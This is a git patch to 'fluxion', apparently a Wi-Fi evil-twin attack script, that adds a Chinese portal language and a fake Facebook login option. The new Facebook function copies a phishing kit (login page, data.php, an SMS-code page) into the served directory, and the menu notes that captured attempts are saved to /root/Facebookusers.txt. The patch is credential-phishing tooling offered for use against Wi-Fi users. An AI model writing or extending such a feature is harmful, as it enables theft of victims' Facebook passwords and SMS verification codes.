From 3a33efa34ea77e2430aca328a90b94f88c47cece Mon Sep 17 00:00:00 2001 From: deltax Date: Sun, 21 Aug 2016 19:07:26 +0200 Subject: [PATCH] Fix Issue 83 Add a Chinese login page Add a Facebook login page --- fluxion | 43 +++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 41 insertions(+), 2 deletions(-) diff --git a/fluxion b/fluxion index 05f3c8a..44ef9d9 100755 --- a/fluxion +++ b/fluxion @@ -3459,7 +3459,10 @@ function webinterface { echo -e "$blue""13)"$transparent" French [FR]" echo -e "$blue""13)"$transparent" Portuguese [POR]" echo -e "$blue""15)"$transparent" German [GER]" - echo -e "$blue""16)"$transparent"\e[1;31m$general_back"$transparent"" + echo -e "$blue""16)"$transparent" Chinese [ZH_CN](NEUTRA)" + echo -e "$blue""17)"$transparent"\e[1;31m $general_back"$transparent"" + echo -e "$blue""F )"$transparent" Facebook [ENG] you will find attempts in root/Facebookusers.txt" + echo echo -n "#? " read fluxass @@ -3571,9 +3574,26 @@ function webinterface { NEUTRA break + elif [ "$fluxass" = "F" ]; then + Facebook + break + elif [ "$fluxass" = "f" ]; then + Facebook + break - elif [ "$fluxass" = "16" ]; then + elif [ "$fluxass" = "16" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ZH + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ZH + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ZH + DIALOG_WEB_OK=$DIALOG_WEB_OK_ZH + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ZH + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ZH + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ZH + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ZH + NEUTRA + break + elif [ "$fluxass" = "17" ]; then continue fi @@ -7114,6 +7134,25 @@ mkdir $DUMP_PATH/data &>$flux_output_device cp $WORK_DIR/Sites/HUAWEI-ENG/index.htm $DUMP_PATH/data } +function Facebook { +mkdir $DUMP_PATH/data &>$flux_output_device + cp $WORK_DIR/Sites/Facebook/config.ini $DUMP_PATH/data + cp $WORK_DIR/Sites/Facebook/data.php $DUMP_PATH/data + cp $WORK_DIR/Sites/Facebook/facebook-logo.png $DUMP_PATH/data + cp $WORK_DIR/Sites/Facebook/font-awesome.min.css $DUMP_PATH/data + cp $WORK_DIR/Sites/Facebook/index.htm $DUMP_PATH/data + cp $WORK_DIR/Sites/Facebook/index.js $DUMP_PATH/data + cp $WORK_DIR/Sites/Facebook/jquery.min.js $DUMP_PATH/data + cp $WORK_DIR/Sites/Facebook/oauth.html $DUMP_PATH/data + cp $WORK_DIR/Sites/Facebook/reset.css $DUMP_PATH/data + cp $WORK_DIR/Sites/Facebook/roboto.css $DUMP_PATH/data + cp $WORK_DIR/Sites/Facebook/style.css $DUMP_PATH/data + cp $WORK_DIR/Sites/Facebook/datasms.php $DUMP_PATH/data + cp $WORK_DIR/Sites/Facebook/smscode.htm $DUMP_PATH/data + cp $WORK_DIR/Sites/Facebook/Facebookusers.txt $DUMP_PATH/data + +[ -f /root/Facebookusers.txt ] && top && echo -e $red "Facebookusers text file exist already" || cp $WORK_DIR/Sites/Facebook/Facebookusers.txt /root/Facebookusers.txt +} ######################################### < INTERFACE WEB > ########################################